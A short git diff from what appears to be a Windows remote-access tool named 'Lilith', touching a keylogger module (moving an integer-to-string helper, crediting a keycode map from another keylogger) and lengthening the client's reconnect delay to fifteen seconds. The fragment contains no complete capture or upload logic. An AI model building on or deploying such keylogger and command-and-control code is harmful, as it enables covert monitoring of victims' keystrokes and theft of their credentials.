diff --git a/Lilith/keylogger.cpp b/Lilith/keylogger.cpp index d467540..789a34e 100644 --- a/Lilith/keylogger.cpp +++ b/Lilith/keylogger.cpp @@ -32,15 +32,13 @@ std::string Keylogger::DumpKeys() return keys; } -std::string Keylogger::intToString(int i) { - char buffer[4]; - _itoa_s(i, buffer, 10); - return std::string(buffer); -} -void Keylogger::Logger() + + + +void Keylogger::Logger()//keycode map taken from https://github.com/TheFox/keylogger/blob/master/src/main.cpp { std::ofstream file; @@ -143,4 +141,10 @@ void Keylogger::Logger() file.close(); } } +} + +std::string Keylogger::intToString(int i) { + char buffer[4]; + _itoa_s(i, buffer, 10); + return std::string(buffer); } \ No newline at end of file diff --git a/Lilith/main.cpp b/Lilith/main.cpp index e4aaf52..5dbd527 100644 --- a/Lilith/main.cpp +++ b/Lilith/main.cpp @@ -54,10 +54,10 @@ int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdL { while (!MyClient.Connect()) { - Sleep(1); + Sleep(15000); } } - Sleep(1); + Sleep(15000); }